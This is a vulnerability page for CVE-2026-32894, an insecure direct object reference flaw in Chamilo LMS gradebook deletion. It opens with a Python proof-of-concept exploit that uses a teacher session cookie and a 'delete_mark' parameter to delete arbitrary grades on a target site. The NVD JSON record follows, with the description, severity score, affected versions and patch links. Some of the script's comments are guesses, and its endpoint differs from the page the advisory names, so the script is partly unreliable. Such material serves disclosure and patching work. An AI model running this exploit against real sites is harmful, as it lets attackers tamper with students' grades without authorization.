CVE-2026-32894

#!/usr/bin/env python3 # CVE-2026-32894 PoC: IDOR in Chamilo LMS Gradebook Deletion import requests def exploit(target_url, session_cookie, grade_id): """ Exploit the IDOR vulnerability to delete a specific grade. :param target_url: Base URL of the Chamilo instance (e.g., http://localhost) :param session_cookie: Valid PHPSESSID cookie for a Teacher account :param grade_id: The ID of the grade to delete """ # The vulnerable endpoint endpoint = f"{target_url}/main/gradebook/gradebook.php" # Cookies required for authentication cookies = { "PHPSESSID": session_cookie } # Payload manipulating the 'delete_mark' parameter # 'resultdelete' might also work depending on version configuration params = { "delete_mark": grade_id, "action": "delete" # Common parameter in Chamilo flows } try: response = requests.get(endpoint, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to delete grade ID: {grade_id}") print(f"[+] Response content snippet: {response.text[:100]}...") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage TARGET = "http://vulnerable-chamilo-site.com" TEACHER_SESSION = "valid_teacher_session_id_here" TARGET_GRADE_ID = "1234" print(f"[*] Attempting to delete grade {TARGET_GRADE_ID}...") exploit(TARGET, TEACHER_SESSION, TARGET_GRADE_ID)

{"cve": {"id": "CVE-2026-32894", "sourceIdentifier": "[email protected]", "published": "2026-04-10T18:16:42.117", "lastModified": "2026-04-17T21:28:56.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chamilo LMS is a learning management system. Prior to 1.11.38 and 2.0.0-RC.3, an Insecure Direct Object Reference (IDOR) vulnerability in the gradebook result view page allows any authenticated teacher to delete any student's grade result across the entire platform by manipulating the delete_mark or resultdelete GET parameters. No ownership or course-scope verification is performed. This vulnerability is fixed in 1.11.38 and 2.0.0-RC.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.11.38", "matchCriteriaId": "A4D0C5D2-6FA0-4532-8E3D-4EA111A50621"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "4AF7661F-C1F7-4CAB-BBDF-FC5BF7F5BEB8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "FE56AF71-9D53-42C6-980D-09E1C418ED87"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:*", "matchCriteriaId": "01195674-9E1A-4C07-B7D3-0F0CC2E6511B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:*", "matchCriteriaId": "BAE63449-5A56-4302-A4BF-F3D19FC96A80"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha5:*:*:*:*:*:*", "matchCriteriaId": "A84A06F9-5AB7-4703-8153-33AC68882B95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "B91302A3-53DE-4ED0-BAAB-FE9DA03F8242"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "46008D4A-96F7-4E04-8256-E115AAAE3383"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "6E2BCAFF-D44B-4E67-998A-DF855E27606B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "D2E7D018-E4C2-45F5-8D9A-DAC947173607"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "DAF96697-6B6D-459D-9510-E5CEEDC2859B"}]}]}], "references": [{"url": "https://github.com/chamilo/chamilo-lms/commit/3b03306d1a0301a81b9284e86893b27f518ab151", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chamilo/chamilo-lms/commit/740f5a6e192a52a3adde3c3241c86401b1d2c519", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-rqpg-p95v-fv98", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-rqpg-p95v-fv98", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}